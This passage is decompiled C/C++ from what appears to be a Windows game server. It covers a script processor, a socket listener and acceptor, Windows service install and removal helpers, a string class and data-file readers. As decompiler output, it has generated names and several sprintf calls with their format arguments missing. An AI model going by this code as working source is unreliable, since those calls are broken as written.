"---------------------------------------------------------------"; } else { CCsl::AddResultMsg(v5, "================================================================================"); sprintf(RetMsg, "FILE PROCESSING - %s "); CCsl::AddResultMsg(v5, RetMsg); CCsl::AddResultMsg(v5, "================================================================================"); v15 = (char *)&stru_5A4E3C; } CCsl::AddResultMsg(v5, v15); if ( lpszPathName ) { v7 = lpszPathName; do { v8 = *v7; v7[v5->m_ScriptFN - lpszPathName] = *v7; ++v7; } while ( v8 ); } CToken::SetSeprator(&v5->baseclass_0, v5->m_CslSeprator); while ( !v5->m_bEnd ) { v9 = CToken::GetToken(&v5->baseclass_0); v10 = v9; if ( !v9 ) break; if ( !CCsl::ProcRemark(v5, v9) && !CCsl::ProcCmd(v5, v10, RetMsg) ) { if ( !CCsl::ProcData(v5, v10, RetMsg) ) { sprintf(RetMsg, "%s - UNKNOWNED."); CCsl::AddResultMsg(v5, RetMsg); ++v5->m_NumDataErrors; } } } CCsl::ReadScriptDone(v5); CToken::Close(&v5->baseclass_0); v11 = v5->m_NumFormatErrors + v5->m_NumDataErrors; result = v11 < 0; LOBYTE(result) = v11 <= 0; } else { GetLastError(); CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); if ( v5->m_bInclude ) { v14 = "INCLUDE OPEN ERROR(Code = %d) - %s "; v13 = RetMsg; } else { v14 = "FILE OPEN ERROR(Code = %d) - %s "; v13 = RetMsg; } sprintf(v13, v14); CCsl::AddResultMsg(v5, RetMsg); CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); ++v5->m_NumFormatErrors; CCsl::ReadScriptDone(v5); result = 0; } return result; } //----- (00564140) -------------------------------------------------------- void __thiscall CSocket_Acceptor::CSocket_Acceptor(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; CSocket_Acceptor_Process::CSocket_Acceptor_Process(&this->m_Acceptor_Process); v1->m_ListenSocket = -1; *(_DWORD *)&v1->m_ListenSocketAddr.sa_family = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[2] = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[6] = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[10] = 0; v1->m_bActiveAcceptThread = 0; v1->m_bAcceptThreadStop = 0; v1->m_Listen_TimeOut.tv_sec = 0; v1->m_Listen_TimeOut.tv_usec = 5; v1->m_hAcceptThread = 0; v1->m_AcceptThreadID = 0; v1->m_NumOfListen = 0; v1->m_NumOfAccepted = 0; v1->m_Accepted_Input = 0; v1->m_Accepted_Output = 0; InitializeCriticalSection(&v1->m_ListenBF_CS); InitializeCriticalSection(&v1->m_AcceptBF_CS); } //----- (005641D0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Stop(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; if ( this->m_ListenSocket != -1 ) { if ( shutdown(this->m_ListenSocket, 1) ) GetLastError(); if ( v1->m_ListenSocket != -1 ) { if ( closesocket(v1->m_ListenSocket) ) GetLastError(); else v1->m_ListenSocket = -1; } } if ( v1->m_bActiveAcceptThread ) { v1->m_bAcceptThreadStop = 1; do Sleep(5u); while ( v1->m_bActiveAcceptThread ); } return 1; } //----- (00564240) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Listen_Add(CSocket_Acceptor *this, char *pIPAddress, int PortNo, unsigned int UserData, int BacklogCount) { CSocket_Acceptor *v5; // edi@1 _RTL_CRITICAL_SECTION *v6; // ebp@1 signed int v7; // edx@1 signed int v8; // eax@2 int v9; // ecx@2 int result; // eax@7 char *v11; // ecx@8 int v12; // esi@8 char v13; // al@9 char Msg[256]; // [sp+Ch] [bp-104h]@13 v5 = this; v6 = &this->m_ListenBF_CS; EnterCriticalSection(&this->m_ListenBF_CS); v7 = v5->m_NumOfListen; if ( v7 >= 10 ) goto LABEL_7; v8 = 0; v9 = (int)v5->m_ListenArray; while ( *(_DWORD *)v9 ) { ++v8; v9 += 100; if ( v8 >= 10 ) goto LABEL_7; } if ( v8 != -1 ) { v11 = pIPAddress; v12 = (int)((char *)v5 + 100 * v8); v5->m_NumOfListen = v7 + 1; do { v13 = *v11; v11[v12 + 44 - (_DWORD)pIPAddress] = *v11; ++v11; } while ( v13 ); *(_DWORD *)(v12 + 108) = PortNo; *(_DWORD *)(v12 + 112) = BacklogCount; *(_DWORD *)(v12 + 116) = UserData; *(_DWORD *)(v12 + 20) = 1; LeaveCriticalSection(v6); while ( *(_DWORD *)(v12 + 20) == 1 ) Sleep(0xAu); if ( *(_DWORD *)(v12 + 20) == 2 ) { sprintf(Msg, "*FAILED Listen_Add - IP = %s:%d"); _DebugMessageNew(1, "Msg", "%s"); EnterCriticalSection(v6); *(_DWORD *)(v12 + 20) = 0; --v5->m_NumOfListen; LeaveCriticalSection(v6); result = 0; } else { result = 1; } } else { LABEL_7: LeaveCriticalSection(v6); _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } //----- (005643B0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::GetAccepted(CSocket_Acceptor *this, CSocket_Acceptor::ACCEPTED_SOCKET_INFO *pSocketInfo, int bRemove) { CSocket_Acceptor *v3; // ebx@1 _RTL_CRITICAL_SECTION *v4; // ebp@1 unsigned int v5; // eax@1 int result; // eax@2 unsigned int v7; // edx@4 _RTL_CRITICAL_SECTION *v8; // [sp+0h] [bp-Ch]@0 v3 = this; v4 = &this->m_AcceptBF_CS; EnterCriticalSection(v8); v5 = v3->m_Accepted_Output; if ( v3->m_Accepted_Input == v5 ) { LeaveCriticalSection(v4); result = 0; } else { memcpy(pSocketInfo, &v3->m_AcceptedRing[v5], 0x1Cu); if ( bRemove ) { v7 = (v3->m_Accepted_Output + 1) % 0x514; --v3->m_NumOfAccepted; v3->m_Accepted_Output = v7; } LeaveCriticalSection(v4); result = 1; } return result; } //----- (00564430) -------------------------------------------------------- int __thiscall CSocket_Acceptor::SetAccepted(CSocket_Acceptor *this, unsigned int Socket, sockaddr_in *pSocketAddr, unsigned int UserData) { CSocket_Acceptor *v4; // ebx@1 _RTL_CRITICAL_SECTION *v5; // esi@1 int result; // eax@2 unsigned int v7; // ebp@4 int v8; // ecx@8 unsigned int v9; // edx@8 unsigned int i; // [sp+8h] [bp-8h]@3 _RTL_CRITICAL_SECTION *lpCriticalSection; // [sp+Ch] [bp-4h]@1 v4 = this; v5 = &this->m_AcceptBF_CS; lpCriticalSection = &this->m_AcceptBF_CS; EnterCriticalSection(&this->m_AcceptBF_CS); if ( (v4->m_Accepted_Input + 1) % 0x514 == v4->m_Accepted_Output ) { LeaveCriticalSection(v5); result = 0; } else { CGTimer::GetTime(); i = 0; if ( v4->m_NumOfAccepted ) { v7 = v4->m_Accepted_Output; while ( strncmp( &v4->m_AcceptedRing[v7 % 0x514].SocketAddr.sin_addr.S_un.S_un_b.s_b1, &pSocketAddr->sin_addr.S_un.S_un_b.s_b1, 4) ) { ++v7; ++i; if ( i >= v4->m_NumOfAccepted ) { v5 = lpCriticalSection; goto LABEL_8; } } LeaveCriticalSection(lpCriticalSection); result = 0; } else { LABEL_8: v4->m_AcceptedRing[v4->m_Accepted_Input].Socket = Socket; v8 = (int)&v4->m_AcceptedRing[v4->m_Accepted_Input].SocketAddr; *(_DWORD *)v8 = *(_DWORD *)&pSocketAddr->sin_family; *(_DWORD *)(v8 + 4) = *(_DWORD *)&pSocketAddr->sin_addr.S_un.S_un_b.s_b1; *(_DWORD *)(v8 + 8) = *(_DWORD *)&pSocketAddr->sin_zero[0]; *(_DWORD *)(v8 + 12) = *(_DWORD *)&pSocketAddr->sin_zero[4]; v4->m_AcceptedRing[v4->m_Accepted_Input].UserData = UserData; v4->m_AcceptedRing[v4->m_Accepted_Input].AcceptTime = CGTimer::GetTime(); v9 = (v4->m_Accepted_Input + 1) % 0x514; ++v4->m_NumOfAccepted; v4->m_Accepted_Input = v9; LeaveCriticalSection(v5); result = 1; } } return result; } //----- (005645A0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::AcceptThreadWork(CSocket_Acceptor *this, unsigned int CheckPoint) { CSocket_Acceptor *v2; // ebx@1 char *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 SOCKET v6; // ST24_4@9 SOCKET v7; // eax@9 SOCKET v8; // edi@9 unsigned __int32 v9; // eax@13 int v10; // edx@13 SOCKET v11; // edi@13 int setsendbfsize; // [sp+10h] [bp-230h]@10 int len; // [sp+14h] [bp-22Ch]@9 int getsendbfsize; // [sp+18h] [bp-228h]@10 int arg; // [sp+1Ch] [bp-224h]@10 int getsendbfsizelen; // [sp+20h] [bp-220h]@10 int bAcceptSocket; // [sp+24h] [bp-21Ch]@1 fd_set fds; // [sp+28h] [bp-218h]@6 sockaddr_in addr; // [sp+12Ch] [bp-114h]@9 char Msg[256]; // [sp+13Ch] [bp-104h]@7 v2 = this; v3 = (char *)this + 100 * CheckPoint; v4 = *((_DWORD *)v3 + 5) - 1; bAcceptSocket = 0; if ( v4 ) { v5 = v4 - 2; if ( v5 ) { if ( v5 == 1 ) { closesocket(*((_DWORD *)v3 + 6)); *((_DWORD *)v3 + 5) = 0; } } else { if ( 1299 - this->m_NumOfAccepted >= 1 ) { fds.fd_array[0] = *((_DWORD *)v3 + 6); fds.fd_count = 1; if ( select(0, &fds, 0, 0, &this->m_Listen_TimeOut) == -1 ) { GetLastErrorStr(0, 1); sprintf(Msg, "ERROR - LISTEN SOCKET ACTIVE (%s) %s:%d ServerFromID=%d"); _DebugMessageNew(1, "Msg", "%s"); } else { if ( __WSAFDIsSet(*((_DWORD *)v3 + 6), &fds) ) { v6 = *((_DWORD *)v3 + 6); len = 16; v7 = accept(v6, (struct sockaddr *)&addr, &len); v8 = v7; if ( v7 != -1 ) { arg = 1; ioctlsocket(v7, -2147195266, (u_long *)&arg); getsendbfsizelen = 4; getsockopt(v8, 65535, 4097, (char *)&getsendbfsize, &getsendbfsizelen); setsendbfsize = 32768; setsockopt(v8, 65535, 4097, (const char *)&setsendbfsize, 4); getsockopt(v8, 65535, 4097, (char *)&getsendbfsize, &getsendbfsizelen); if ( CSocket_Acceptor::SetAccepted(v2, v8, &addr, *((_DWORD *)v3 + 29)) ) { bAcceptSocket = 1; } else { shutdown(v8, 2); closesocket(v8); } } } } } } } else { *(_DWORD *)&addr.sin_family = 0; *(_DWORD *)&addr.sin_addr.S_un.S_un_b.s_b1 = 0; *(_DWORD *)&addr.sin_zero[0] = 0; *(_DWORD *)&addr.sin_zero[4] = 0; addr.sin_family = 2; v9 = inet_addr(v3 + 44); v10 = *((_WORD *)v3 + 54); *(_DWORD *)&addr.sin_addr.S_un.S_un_b.s_b1 = v9; addr.sin_port = htons(v10); v11 = socket(2, 1, 0); if ( v11 == -1 || (setsendbfsize = 1, getsendbfsize = 1, setsockopt(v11, 65535, 4, (const char *)&getsendbfsize, 4), ioctlsocket(v11, -2147195266, (u_long *)&setsendbfsize), arg = 32768, setsockopt(v11, 65535, 4097, (const char *)&arg, 4), bind(v11, (const struct sockaddr *)&addr, 16) == -1) || listen(v11, *((_DWORD *)v3 + 28)) == -1 ) { *((_DWORD *)v3 + 5) = 2; WSACleanup(); } else { len = 4; getsockname(v11, (struct sockaddr *)(v3 + 28), &len); *((_DWORD *)v3 + 6) = v11; *((_DWORD *)v3 + 5) = 3; } } return bAcceptSocket; } //----- (00564890) -------------------------------------------------------- void __thiscall CSocket_Acceptor::_CSocket_Acceptor(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; CSocket_Acceptor::Stop(this); DeleteCriticalSection(&v1->m_ListenBF_CS); DeleteCriticalSection(&v1->m_AcceptBF_CS); } //----- (005648C0) -------------------------------------------------------- unsigned int __stdcall CSocket_Acceptor::AcceptThreadRing(void *lpParam) { int v1; // eax@1 unsigned int v2; // esi@1 unsigned int v3; // esi@2 int v4; // edi@2 unsigned int result; // eax@6 DWORD v6; // [sp-Ch] [bp-14h]@3 v1 = *((_DWORD *)lpParam + 9374); v2 = 0; *((_DWORD *)lpParam + 9373) = 1; if ( v1 ) { *((_DWORD *)lpParam + 9373) = 0; result = 0; } else { do { v3 = v2 % 0xA; EnterCriticalSection((LPCRITICAL_SECTION)((char *)lpParam + 1024)); v4 = CSocket_Acceptor::AcceptThreadWork((CSocket_Acceptor *)lpParam, v3); LeaveCriticalSection((LPCRITICAL_SECTION)((char *)lpParam + 1024)); v2 = v3 + 1; if ( v4 ) v6 = 1; else v6 = 10; Sleep(v6); } while ( !*((_DWORD *)lpParam + 9374) ); *((_DWORD *)lpParam + 9373) = 0; result = 0; } return result; } //----- (00564950) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Listen_Start(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 HANDLE v2; // eax@3 v1 = this; if ( !this->m_bActiveAcceptThread ) { if ( !InetAddress::WinSockStart(2, 2) || (v1->m_ListenArray[0].Work = 0, v1->m_ListenArray[1].Work = 0, v1->m_ListenArray[2].Work = 0, v1->m_ListenArray[3].Work = 0, v1->m_ListenArray[4].Work = 0, v1->m_ListenArray[5].Work = 0, v1->m_ListenArray[6].Work = 0, v1->m_ListenArray[7].Work = 0, v1->m_ListenArray[8].Work = 0, v1->m_ListenArray[9].Work = 0, v1->m_bAcceptThreadStop = 0, v2 = CreateThread(0, 0, CSocket_Acceptor::AcceptThreadRing, v1, 0, &v1->m_AcceptThreadID), (v1->m_hAcceptThread = v2) == 0) ) return 0; while ( v1->m_bActiveAcceptThread != 1 ) Sleep(5u); } return 1; } //----- (00564A00) -------------------------------------------------------- void __thiscall WinService::_WinService(WinService *this) { this->baseclass_0.vfptr = (SingletonVtbl *)&WinService::_vftable_; String::_String(&this->serviceName); } // 5E76C8: using guessed type int (__cdecl *WinService___vftable_)(int __formal); //----- (00564A10) -------------------------------------------------------- bool __thiscall WinService::uploadService(WinService *this, String svcName, String displayName, String modulePath) { SC_HANDLE__ *v4; // esi@1 char *v5; // ST1C_4@2 char *v6; // ST08_4@2 char *v7; // eax@2 SC_HANDLE__ *v8; // eax@2 v4 = OpenSCManagerA(0, 0, 2u); if ( !v4 ) goto LABEL_4; v5 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&modulePath); v6 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&displayName); v7 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&svcName); v8 = CreateServiceA(v4, v7, v6, 0, 0x10u, 3u, 0, v5, 0, 0, 0, 0, 0); if ( !v8 ) { CloseServiceHandle(v4); LABEL_4: String::_String(&svcName); String::_String(&displayName); String::_String(&modulePath); return 0; } CloseServiceHandle(v8); CloseServiceHandle(v4); String::_String(&svcName); String::_String(&displayName); String::_String(&modulePath); return 1; } //----- (00564B20) -------------------------------------------------------- bool __thiscall WinService::removeService(WinService *this, String svcName) { SC_HANDLE__ *v2; // esi@1 bool result; // al@2 char *v4; // eax@3 SC_HANDLE__ *v5; // edi@3 v2 = OpenSCManagerA(0, 0, 2u); if ( v2 ) { v4 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&svcName); v5 = OpenServiceA(v2, v4, 0x10000u); DeleteService(v5); CloseServiceHandle(v5); CloseServiceHandle(v2); String::_String(&svcName); result = 1; } else { String::_String(&svcName); result = 0; } return result; } //----- (00564BD0) -------------------------------------------------------- void __thiscall WinService::onServiceStop(WinService *this) { WinService *v1; // esi@1 SERVICE_STATUS_HANDLE__ *v2; // ST00_4@1 SERVICE_STATUS_HANDLE__ *v3; // ST00_4@1 struct _SERVICE_STATUS ServiceStatus; // [sp+Ch] [bp-1Ch]@1 v1 = this; v2 = this->handleServiceStatus; ServiceStatus.dwServiceType = 16; ServiceStatus.dwControlsAccepted = 5; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCurrentState = 3; ServiceStatus.dwCheckPoint = 1; ServiceStatus.dwWaitHint = 5000; SetServiceStatus(v2, &ServiceStatus); v1->serviceStopFunc(); v3 = v1->handleServiceStatus; ServiceStatus.dwCurrentState = 1; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(v3, &ServiceStatus); if ( v1->handleServiceEvent == (void *)-1 ) { CloseHandle((HANDLE)0xFFFFFFFF); v1->handleServiceEvent = (void *)-1; } } //----- (00564C60) -------------------------------------------------------- int __thiscall WinService::queryServiceStatus(WinService *this, unsigned int *pResult, const char *netMachine, const char *serviceName) { WinService *v4; // ebx@1 SC_HANDLE__ *v5; // eax@1 SC_HANDLE__ *v6; // esi@1 int result; // eax@2 SC_HANDLE__ *v8; // eax@3 SC_HANDLE__ *v9; // edi@3 v4 = this; v5 = OpenSCManagerA(netMachine, 0, 0x80000000u); v6 = v5; if ( v5 ) { v8 = OpenServiceA(v5, serviceName, 4u); v9 = v8; if ( v8 ) { if ( QueryServiceStatus(v8, &v4->ssQueryControl) ) { CloseServiceHandle(v9); CloseServiceHandle(v6); *pResult = v4->ssQueryControl.dwCurrentState; result = 1; } else { *pResult = GetLastError(); CloseServiceHandle(v9); CloseServiceHandle(v6); result = 0; } } else { *pResult = GetLastError(); CloseServiceHandle(v6); result = 0; } } else { *pResult = GetLastError(); result = 0; } return result; } //----- (00564D10) -------------------------------------------------------- void __thiscall WinService::WinService(WinService *this) { WinService *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (SingletonVtbl *)&WinService::_vftable_; String::String(&this->serviceName); v1->handleServiceEvent = (void *)-1; } // 5E76C8: using guessed type int (__cdecl *WinService___vftable_)(int __formal); //----- (00564D30) -------------------------------------------------------- void *__thiscall WinService::_vector_deleting_destructor_(WinService *this, unsigned int a2) { void *v2; // esi@1 v2 = this; WinService::_WinService(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00564D50) -------------------------------------------------------- void __stdcall WinService::serviceHandler(unsigned int status) { WinService *v1; // eax@1 Singleton::getInstance()->statusEvent = status; v1 = Singleton::getInstance(); SetEvent(v1->handleServiceEvent); } //----- (00564D70) -------------------------------------------------------- bool __thiscall WinService::onServiceStart(WinService *this) { WinService *v1; // esi@1 char *v2; // eax@1 SERVICE_STATUS_HANDLE__ *v3; // eax@1 int (*v4)(void); // eax@1 bool result; // al@2 SERVICE_STATUS_HANDLE__ *v6; // ST08_4@3 struct _SERVICE_STATUS ServiceStatus; // [sp+Ch] [bp-1Ch]@1 v1 = this; this->handleServiceEvent = CreateEventA(0, 0, 0, 0); v2 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&v1->serviceName); v3 = RegisterServiceCtrlHandlerA(v2, WinService::serviceHandler); v1->handleServiceStatus = v3; ServiceStatus.dwServiceType = 16; ServiceStatus.dwCurrentState = 2; ServiceStatus.dwControlsAccepted = 5; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 1; ServiceStatus.dwWaitHint = 1000; SetServiceStatus(v3, &ServiceStatus); v4 = (int (*)(void))v1->serviceStartFunc; if ( !v4 || (result = v4()) != 0 ) { v6 = v1->handleServiceStatus; ServiceStatus.dwCurrentState = 4; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(v6, &ServiceStatus); result = 1; } return result; } //----- (00564E20) -------------------------------------------------------- void __stdcall WinService::serviceLoop(unsigned int argc, char **argv) { WinService *v2; // eax@1 WinService *v3; // eax@2 WinService *v4; // eax@3 WinService *v5; // eax@4 v2 = Singleton::getInstance(); if ( WinService::onServiceStart(v2) ) { while ( 2 ) { v4 = Singleton::getInstance(); WaitForSingleObject(v4->handleServiceEvent, 0xFFFFFFFFu); switch ( Singleton::getInstance()->statusEvent ) { default: continue; case 1u: case 5u: v5 = Singleton::getInstance(); WinService::onServiceStop(v5); break; } break; } } else { v3 = Singleton::getInstance(); WinService::onServiceStop(v3); } } //----- (00564E90) -------------------------------------------------------- bool __thiscall WinService::startDispatcher(WinService *this, String serviceName, bool (__cdecl *startCallBack)(), void (__cdecl *stopCallBack)()) { WinService *v4; // esi@1 char *v5; // eax@1 void (__cdecl *v6)(); // edx@1 bool result; // al@2 _SERVICE_TABLE_ENTRYA dispatch[2]; // [sp+0h] [bp-1Ch]@1 int v9; // [sp+18h] [bp-4h]@1 v4 = this; v9 = 0; String::operator_(&serviceName, &serviceName); v5 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&serviceName); v6 = stopCallBack; dispatch[0].lpServiceName = v5; dispatch[0].lpServiceProc = WinService::serviceLoop; dispatch[1].lpServiceName = 0; dispatch[1].lpServiceProc = 0; v4->serviceStartFunc = startCallBack; v4->serviceStopFunc = v6; if ( StartServiceCtrlDispatcherA(dispatch) ) { v9 = -1; String::_String(&serviceName); result = 1; } else { GetLastError(); v9 = -1; String::_String(&serviceName); result = 0; } return result; } //----- (00564F60) -------------------------------------------------------- void __thiscall String::_String(String *this) { void *v1; // ecx@1 this->vfptr = (StringVtbl *)&String::_vftable_; v1 = this->chData; if ( v1 ) operator delete(v1); } // 5E76D0: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (00564F80) -------------------------------------------------------- void __thiscall String::allocData(String *this, int strLen) { String *v2; // esi@1 int v3; // edx@2 void *v4; // eax@4 void *v5; // eax@6 unsigned int v6; // edx@6 int v7; // edi@6 int i; // ecx@6 v2 = this; if ( strLen > this->allocSize ) { v3 = this->allocSize; do v3 += 48; while ( strLen > v3 ); v4 = this->chData; this->allocSize = v3; if ( v4 ) operator delete(v4); v5 = operator new(v2->allocSize); v6 = v2->allocSize; v2->chData = (char *)v5; memset(v5, 0, 4 * (v6 >> 2)); v7 = (int)((char *)v5 + 4 * (v6 >> 2)); for ( i = v6 & 3; i; --i ) *(_BYTE *)v7++ = 0; } } //----- (00564FE0) -------------------------------------------------------- void __thiscall String::makeUpper(String *this) { _mbsupr(this->chData); } //----- (00564FF0) -------------------------------------------------------- String *__thiscall String::operator_(String *this, const char *str) { unsigned int v2; // eax@1 String *v3; // esi@1 char *v4; // edx@1 const char *v5; // ecx@1 char v6; // al@2 int v7; // ecx@3 int v8; // eax@3 char *v9; // ecx@4 v3 = this; v2 = strlen(str); v3->stringLength = v2; String::allocData(v3, v2 + 1); v4 = v3->chData; v5 = str; do { v6 = *v5++; *v4++ = v6; } while ( v6 ); v7 = v3->allocSize; v8 = 0; v3->stringLength = 0; if ( v7 > 0 ) { v9 = v3->chData; do { if ( !v9[v8] ) break; ++v8; ++v3->stringLength; } while ( v8 < v3->allocSize ); } return v3; } //----- (00565060) -------------------------------------------------------- void __thiscall String::String(String *this) { this->vfptr = (StringVtbl *)&String::_vftable_; this->chData = 0; this->stringLength = 0; this->allocSize = 0; String::allocData(this, 48); } // 5E76D0: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (00565080) -------------------------------------------------------- void *__thiscall String::_scalar_deleting_destructor_(String *this, unsigned int a2) { void *v2; // esi@1 void *v3; // eax@1 v2 = this; v3 = this->chData; this->vfptr = (StringVtbl *)&String::_vftable_; if ( v3 ) operator delete(v3); if ( a2 & 1 ) operator delete(v2); return v2; } // 5E76D0: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (005650B0) -------------------------------------------------------- void __thiscall String::String(String *this, const char *str) { this->chData = 0; this->stringLength = 0; this->allocSize = 0; this->vfptr = (StringVtbl *)&String::_vftable_; String::operator_(this, str); } // 5E76D0: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (005650E0) -------------------------------------------------------- String *__thiscall String::operator_(String *this, String *str) { String *v2; // esi@1 v2 = this; String::operator_(this, str->chData); return v2; } //----- (00565100) -------------------------------------------------------- bool __cdecl operator__(String *str1, String *str2) { return _mbscmp(str1->chData, str2->chData) == 0; } //----- (00565120) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xBFECu, 0x17Cu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005651D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1BBFu, 0xDBu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00565280) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3CAu, 0x46u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00565330) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xBu, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005653E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x134u, 0xDu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00565490) -------------------------------------------------------- BinaryData *__thiscall ItemDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x17Cu); CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 440)); memset(&v1[8].baseclass_0.m_sFileMD5.n8_name[4], 0, 0xD8u); LOWORD(v1[11].baseclass_0.m_pDataArray) = 0; BYTE2(v1[11].baseclass_0.m_pDataArray) = 0; CCharacterTitleData::CCharacterTitleData(v1 + 12); memset(&v1[13], 0, 0x44u); LOWORD(v1[14].baseclass_0.m_nDataArraySize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 852)); v1[15].baseclass_0.m_nFileCheckSum = 0; return v1; } //----- (00565530) -------------------------------------------------------- void __thiscall ItemDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 852)); CCharacterTitleData::_CCharacterTitleData(v1 + 12); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 440)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (005655A0) -------------------------------------------------------- bool __thiscall ItemDataBox::ReadData(ItemDataBox *this, char *pdatafn) { ItemDataBox *v2; // esi@1 char *v3; // edi@1 bool result; // al@2 unsigned int v5; // edx@3 unsigned int v6; // ebp@3 unsigned int v7; // ebx@3 void *v8; // eax@5 void *v9; // eax@9 void *v10; // eax@13 void *v11; // eax@15 unsigned int v12; // ecx@17 int v13; // eax@18 void *v14; // eax@22 int v15; // ebx@24 void *v16; // eax@25 unsigned int v17; // ebx@28 void *v18; // eax@30 unsigned int v19; // ebp@32 void *v20; // eax@33 v2 = this; v3 = (char *)&this->idb_BinData; if ( CDataReader::Read(&this->idb_BinData.itminf.baseclass_0.baseclass_0, pdatafn, 0xBFECu, 0x17Cu) ) { v5 = v2->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = 0; v7 = 0; v2->idb_Itemspacies = v5; v2->idb_maxItemhandle = 0; if ( v5 ) { do { if ( v7 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v8 = CDataReader::GetRecord((CDataReader *)v3, v7); else v8 = v3 + 60; if ( v2->idb_maxItemhandle < *(_WORD *)v8 ) { if ( v7 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v9 = CDataReader::GetRecord((CDataReader *)v3, v7); else v9 = v3 + 60; v2->idb_maxItemhandle = *(_WORD *)v9; } ++v7; } while ( v7 < v2->idb_Itemspacies ); } v10 = v2->idb_index; ++v2->idb_maxItemhandle; if ( v10 ) { operator delete__(v10); v2->idb_index = 0; } v11 = operator new__(28 * v2->idb_maxItemhandle); v2->idb_index = (ItemDataBox::ItemDataBoxIndex *)v11; if ( v11 ) { v12 = 0; if ( v2->idb_maxItemhandle > 0 ) { v13 = 0; do { v2->idb_index[v13].data = 0; 